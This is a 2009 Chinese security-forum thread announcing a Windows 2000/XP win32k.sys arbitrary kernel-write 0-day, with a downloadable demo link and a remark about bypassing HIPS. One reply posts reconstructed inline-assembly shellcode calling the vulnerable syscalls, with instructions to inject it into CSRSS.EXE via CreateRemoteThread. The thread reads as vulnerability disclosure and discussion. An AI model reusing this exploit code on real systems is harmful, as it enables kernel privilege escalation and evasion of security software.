首页
论坛
课程
招聘
[原创][0Day]Windows 2000/XP(全补丁)内核任意地址写入漏洞
2009-3-30 22:49 10427

[原创][0Day]Windows 2000/XP(全补丁)内核任意地址写入漏洞

2009-3-30 22:49
10427
作者:MJ0011

日期:2009.3.30

Windows 2000开始,win32k.sys体内的两个函数存在着内核任意地址写入漏洞,可以允许用户态程序直接读写内核内存,直到WIN2003才修补

同时存在另外几个函数,可以引发内核崩溃、内核内存泄露或内核地址写入

由于这一手段从未公开,攻击者可以利用它编写ShellCode,进入Ring0,或者恢复内核钩子,用来绕过HIPS、驱动防护类软件、内核加固软件等。

下面公布利用其中一对函数实现的内核任意地址写入DEMO,这个DEMO运行后,点击确定,会对内核地址0x804d8002(XP下通常是ntoskrnl的DOS头偏移+2)写入一个数值:0X12345678

DEMO由于做了一些硬编码,只在WINDOWS XP下生效

可以使用RootkitUnhooker的内核内存DUMP,或者Icesword的内存编辑,或者windbg本机或双机调试来查看修改的情况

具体代码为了安全起见,就不公开放出了,如果大家有兴趣,以后可以考虑放出

注意:DEMO执行过程中,你的HIPS软件可能会对其的某些前期操作报警,选择允许即可

DEMO下载地址:

http://mj0011.ys168.com

漏洞演示目录下CsrssVuln.rar

《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

收藏
点赞0
打赏
分享
最新回复 (19)
雪    币: 256
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
太虚伪了 活跃值 1 2009-3-30 22:54
2
0
太强了, 马上换2003
雪    币: 7400
活跃值: 活跃值 (84)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 活跃值 15 2009-3-30 23:03
3
0
太强啊~~~
雪    币: 1407
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
liangdong 活跃值 2009-3-30 23:04
4
0
幸好用的是vista
雪    币: 2362
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zapline 活跃值 2009-3-30 23:05
5
0
膜拜偶像。。
雪    币: 564
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lixupeng 活跃值 2009-3-30 23:06
6
0
看来很严重啊
雪    币: 310
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
stalker 活跃值 8 2009-3-30 23:13
7
0
看不懂,无法膜拜
雪    币: 466
活跃值: 活跃值 (145)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2009-3-30 23:21
8
0
一路顶过来~~~
雪    币: 141
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
XSJS 活跃值 2009-3-31 01:12
9
0
膜拜王小姐!
雪    币: 70
活跃值: 活跃值 (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dnybz 活跃值 2009-3-31 01:38
10
0


这么强?
雪    币: 372
活跃值: 活跃值 (138)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 活跃值 19 2009-3-31 02:38
11
0
可否给源代码
  xianguo1985@163.com
雪    币: 106
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
bujin888 活跃值 4 2009-3-31 06:11
12
0
procedure ShellCode;
asm
  PUSH EBP
  MOV EBP,ESP
  SUB ESP,$3C
  MOV ECX,DWORD PTR SS:[EBP+8]
  XOR EAX,EAX
  MOV DWORD PTR SS:[EBP-$24],EAX
  MOV DWORD PTR SS:[EBP-$38],EAX
  MOV EDX,DWORD PTR DS:[ECX+$C]
  MOV DWORD PTR SS:[EBP-$30],EAX
  MOV DWORD PTR SS:[EBP-$34],EAX
  MOV DWORD PTR SS:[EBP-$2C],EAX
  MOV DWORD PTR SS:[EBP-$28],EAX
  MOV DWORD PTR SS:[EBP-4],EAX
  MOV EAX,DWORD PTR DS:[ECX+4]
  MOV DWORD PTR SS:[EBP-$20],EDX
  MOV DWORD PTR SS:[EBP-$1C],EAX
  MOV EAX,DWORD PTR DS:[ECX]
  LEA EDX,DWORD PTR SS:[EBP-$1C]
  MOV DWORD PTR SS:[EBP-$3C],18
  MOV DWORD PTR SS:[EBP-$18],-1
  MOV DWORD PTR SS:[EBP-$14],EDX
  MOV DWORD PTR SS:[EBP-$10],EAX
  LEA EAX,DWORD PTR SS:[EBP-$24]
  PUSH EAX
  LEA EAX,DWORD PTR SS:[EBP-$3C]
  PUSH EAX
  PUSH $60
  LEA EAX,DWORD PTR SS:[EBP-4]
  PUSH EAX
  MOV EAX,$80
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$10
  TEST EAX,EAX
  JL @@1
  LEA EAX,DWORD PTR SS:[EBP-$C]
  PUSH EAX
  PUSH 4
  LEA EAX,DWORD PTR SS:[EBP-8]
  PUSH EAX
  PUSH 1
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$11DF
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$14
  TEST EAX,EAX
  JL @@1
  PUSH 8
  PUSH DWORD PTR SS:[EBP-$14]
  PUSH 1
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$1208
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$10
  TEST EAX,EAX
  JL @@1
  LEA EAX,DWORD PTR SS:[EBP-$C]
  PUSH EAX
  PUSH 4
  PUSH DWORD PTR SS:[EBP-$10]
  PUSH 1
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$11DF
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$14
  TEST EAX,EAX
  JL @@1
  MOV EAX,DWORD PTR SS:[EBP-$14]
  MOV ECX,DWORD PTR SS:[EBP-8]
  MOV DWORD PTR DS:[EAX],ECX
  PUSH 8
  PUSH DWORD PTR SS:[EBP-$14]
  PUSH 1
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$1208
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,$10
  MOV EAX,DWORD PTR SS:[EBP+8]
  MOV DWORD PTR DS:[EAX+8],1
@@1:MOV EAX,DWORD PTR SS:[EBP-4]
  TEST EAX,EAX
  JE @@2
  PUSH DWORD PTR SS:[EBP-4]
  MOV EAX,$19
  LEA EDX,DWORD PTR SS:[ESP]
  INT $2E
  ADD ESP,4
@@2:MOV ESP,EBP
  POP EBP
  RET
end;

把上面的ShellCode 写如CSRSS.EXE CreateRemoteThread 远程执行!

虽然还没膜拜完 偶猜大概原理是这样了  感谢王小姐

shellcode 大致意思
NtOpenThread
NtUserQueryInformationThread  //1号漏洞函数   //这两个函数好冷 比北极冰还冷
NtUserSetInformationThread      //2号漏洞函数
NtClose

NTSTATUS NtUserSetInformationThread(
    IN HANDLE ThreadHandle,
    IN THREADINFOCLASS ThreadInformationClass,
    IN PVOID ThreadInformation,
    IN ULONG ThreadInformationLength
)
雪    币: 83
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
espzj 活跃值 2 2009-3-31 09:41
13
0
顶一个,MJ牛啊
雪    币: 2561
活跃值: 活跃值 (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
option 活跃值 2009-3-31 12:37
14
0
MJ怎么学的?专业搞安全的和业余的就不一样
雪    币: 173
活跃值: 活跃值 (16)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
choday 活跃值 2 2009-3-31 21:56
15
0
我也可以从ring3直接进入ring0.不难
不需要什么漏洞类的
雪    币: 250
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2009-3-31 21:58
16
0
能说说思路么?
雪    币: 459
活跃值: 活跃值 (21)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-3-31 22:02
17
0
排除ZwSystemDebugControl,PhysicalMemory ,NtLoadDriver,NtSetSystemInformation,pagefile

你还能进入RING0吗?呵呵
雪    币: 250
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2009-4-1 17:48
18
0
MJ前辈再说几个排除xx的就好了
雪    币: 8653
活跃值: 活跃值 (214)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2009-4-1 17:51
19
0
请继续排除~~
雪    币: 217
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
heretic 活跃值 2009-4-2 21:33
20
0
排除掉MJ,就可以顺利进入ring0了。
游客
登录 | 注册 方可回帖
返回